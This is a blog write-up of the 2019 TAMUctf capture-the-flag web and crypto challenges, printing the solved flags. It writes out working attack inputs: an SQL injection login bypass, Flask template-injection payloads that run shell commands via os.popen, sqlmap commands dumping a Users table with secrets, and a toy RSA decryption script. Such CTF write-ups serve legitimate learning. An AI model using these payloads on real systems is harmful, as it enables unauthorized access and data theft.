Xi4or0uji's blog

2019tamuctf

字数统计: 615阅读时长: 2 min
2019/02/24 Share

WEB

Not Another SQLi Challenge

最简单的sql注入题,万能密码就能拿到flag了

1
2
admin' or 1=1#
flag: gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}

Robots Rule

他要求是谷歌的robot访问,抓包改一下

Many Gig’ems to you!

这道题很脑洞,index.html、cookies.html和cook.js里面藏有flag



所以flag就是gigem{flag_in_source_and_cookies}

Science!

这道题提示了是用Flask写的,所以尝试一下flask模板注入
49确实是能回显49的,接下来就是看有什么可以用了
看到有个os类

然后就是看有什么文件

1
{{url_for.__globals__.os.popen('ls ').read()}}


最后读flag

1
{{url_for.__globals__.os.popen('cat flag.txt').read()}}


这里有个坑就是这道题用火狐打开浏览器居然崩溃,摇头.gif

Buckets

这道题对于国内且英文不好的选手有点不友好,毕竟不知道s3 bucket是什么,谷歌一波发现是一个云存储的东西吧,知道一个站点的名字就可以看见存储的东西

然后访问一下http://tamuctf.s3.amazonaws.com/看见

访问一下就能看到flag了

login app

这道题源码可以看到这一段

然后可以知道是mongodb注入

最后getflaggigem{n0_sql?_n0_pr0bl3m_8a8651c31f16f5dea}

Bird Box Challenge

很简单的sql注入,一开始我还以为是ssrf搞了半天……….

1337 Secur1ty

查看cookie可以看见有个secret,猜测secret是一个表明身份的序号,接下来就是想办法拿到admin的secret值

message页面有个id值,直接修改会显示不同的信件,尝试一下sql注入

1
sqlmap -u http://web6.tamuctf.com/message?id=2 -dbs


1
sqlmap -u http://web6.tamuctf.com/message?id=2 -D 1337_Secur1ty  --tables


1
sqlmap -u http://web6.tamuctf.com/message?id=2 -D 1337_Secur1ty -T Users --columns


1
sqlmap -u http://web6.tamuctf.com/message?id=2 -D 1337_Secur1ty -T Users -C UserID,FirstName,LastName,Secret --dump


截止就是伪造身份登录了

最后getflaggigem{th3_T0tp_1s_we4k_w1tH_yoU}

crypto

RSAaaay

题目

1
2
3
4
Hey, you're a hacker, right? I think I am too, look at what I made!
(2531257, 43)
My super secret message: 906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268
Problem is, I don't remember how to decrypt it... could you help me out?

分解下n然后脚本一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import libnum
from Crypto.Util.number import long_to_bytes
p = 509
q = 4973
n = 2531257
e = 43
c = [906851,991083,1780304,2380434,438490,356019,921472,822283,817856,556932,2102538,2501908,2211404,991083,1562919,38268]

d = libnum.invmod(e,(p-1)*(q-1))
for i in c:
m = pow(i,d,n)
print m
#这是上面出来的明文,猜测是ascii码
m = [103,105,103,101,109,123,83,97,118,97,103,101,95,83,105,120,95,70,108,121,105,110,103,95,84,105,103,101,114,115,125]
str = ""
for i in m:
str += chr(i)
print str

CATALOG
  1. 1. WEB
    1. 1.1. Not Another SQLi Challenge
    2. 1.2. Robots Rule
    3. 1.3. Many Gig’ems to you!
    4. 1.4. Science!
    5. 1.5. Buckets
    6. 1.6. login app
    7. 1.7. Bird Box Challenge
    8. 1.8. 1337 Secur1ty
  2. 2. crypto
    1. 2.1. RSAaaay